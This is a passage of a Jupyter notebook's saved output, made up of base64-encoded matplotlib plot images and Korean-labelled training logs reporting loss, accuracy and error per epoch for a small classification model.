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\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": { "needs_background": "light" }, "output_type": "display_data" }, { "name": "stdout", "output_type": "stream", "text": [ "6 0.0021799802780151367\n", "(2000,) (2000, 2)\n", "Epoch: 0, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.893492579460144 0.8481249809265137 0.15187501907348633\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.7968873977661133 0.8675000071525574 0.13249999284744263\n", "Epoch: 10, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.38096189498901367 0.9789999723434448 0.021000027656555176\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.34850165247917175 0.9850000143051147 0.014999985694885254\n", "Epoch: 20, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.24100203812122345 0.9909999966621399 0.009000003337860107\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.2658727765083313 0.9900000095367432 0.009999990463256836\n", "Epoch: 30, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.14866895973682404 0.9940000176429749 0.0059999823570251465\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.1420082300901413 1.0 0.0\n", "Epoch: 40, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.10851947963237762 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07509975135326385 1.0 0.0\n", "Epoch: 50, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0818382278084755 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.09060075879096985 0.9950000047683716 0.004999995231628418\n", "Epoch: 60, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.07376167923212051 0.9975000023841858 0.002499997615814209\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.06265997141599655 0.9975000023841858 0.002499997615814209\n", "Epoch: 70, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05256405472755432 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03155772015452385 0.9950000047683716 0.004999995231628418\n", "Epoch: 80, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.05010451003909111 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.07387257367372513 1.0 0.0\n", "Epoch: 90, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02942468598484993 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.02869231626391411 1.0 0.0\n", "Epoch: 100, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.02860364131629467 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007604664191603661 1.0 0.0\n", "Epoch: 110, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01681179367005825 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.03763128072023392 1.0 0.0\n", "Epoch: 120, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.01125019509345293 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.017983295023441315 0.9975000023841858 0.002499997615814209\n", "Epoch: 130, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.026006648316979408 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.008953182958066463 1.0 0.0\n", "Epoch: 140, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.014844349585473537 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.02250932902097702 0.9975000023841858 0.002499997615814209\n", "Epoch: 150, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00907090399414301 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.009209110401570797 1.0 0.0\n", "Epoch: 160, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012439534068107605 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.007232429925352335 1.0 0.0\n", "Epoch: 170, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.015654070302844048 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006921639200299978 1.0 0.0\n", "Epoch: 180, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00521752517670393 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.013082294724881649 0.9925000071525574 0.007499992847442627\n", "Epoch: 190, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.009754028171300888 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.011513594537973404 1.0 0.0\n", "Epoch: 200, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.005834582727402449 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006986376363784075 0.9975000023841858 0.002499997615814209\n", "Epoch: 210, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.019025402143597603 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0024129075463861227 1.0 0.0\n", "Epoch: 220, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011378689669072628 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.004516430664807558 1.0 0.0\n", "Epoch: 230, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004640243947505951 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0025739886332303286 1.0 0.0\n", "Epoch: 240, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.008073103614151478 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010556556517258286 1.0 0.0\n", "Epoch: 250, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0016311422223225236 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0027648257091641426 1.0 0.0\n", "Epoch: 260, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.012452677823603153 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0046073137782514095 1.0 0.0\n", "Epoch: 270, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.011497030034661293 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016943506198003888 1.0 0.0\n", "Epoch: 280, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002327323891222477 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00092649384168908 1.0 0.0\n", "Epoch: 290, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004963262937963009 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.002384792547672987 1.0 0.0\n", "Epoch: 300, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003036526497453451 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0051565105095505714 0.9950000047683716 0.004999995231628418\n", "Epoch: 310, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00275413878262043 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0016658439999446273 1.0 0.0\n", "Epoch: 320, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002415982075035572 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005138478009030223 1.0 0.0\n", "Epoch: 330, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0019412608817219734 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010015543084591627 1.0 0.0\n", "Epoch: 340, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004303091671317816 0.9980000257492065 0.001999974250793457\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0014201343292370439 1.0 0.0\n", "Epoch: 350, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0012697577476501465 0.9984999895095825 0.0015000104904174805\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.006119197234511375 1.0 0.0\n", "Epoch: 360, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.018995992839336395 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.003929432015866041 1.0 0.0\n", "Epoch: 370, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00388899352401495 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0004345327615737915 0.9950000047683716 0.004999995231628418\n", "Epoch: 380, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004518081434071064 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.005298603791743517 0.9975000023841858 0.002499997615814209\n", "Epoch: 390, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0010575485648587346 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.032533660531044006 1.0 0.0\n", "Epoch: 400, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.00029414461459964514 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.050762176513671875 0.9975000023841858 0.002499997615814209\n", "Epoch: 410, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.000260192493442446 1.0 0.0\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0003111021942459047 1.0 0.0\n", "Epoch: 420, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.000467113422928378 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0001931509905261919 0.9975000023841858 0.002499997615814209\n", "Epoch: 430, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0002293739526066929 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.04093001037836075 1.0 0.0\n", "Epoch: 440, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005131256184540689 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.010942237451672554 1.0 0.0\n", "Epoch: 450, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0007174421916715801 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0010254402877762914 1.0 0.0\n", "Epoch: 460, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.004145527724176645 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0003496241115499288 1.0 0.0\n", "Epoch: 470, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.0005297231837175786 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.00026664670440368354 1.0 0.0\n", "Epoch: 480, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.002286063041538 0.9994999766349792 0.000500023365020752\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0002748643746599555 1.0 0.0\n", "Epoch: 490, 트레이닝의 손실과 마지막 스텝 정확도, 오류: 0.003489640075713396 0.9990000128746033 0.0009999871253967285\n", "테스트의 손실과 마지막 스텝 정확도, 오류: 0.0005587003543041646 1.0 0.0\n" ] }, { "data": { "image/png": "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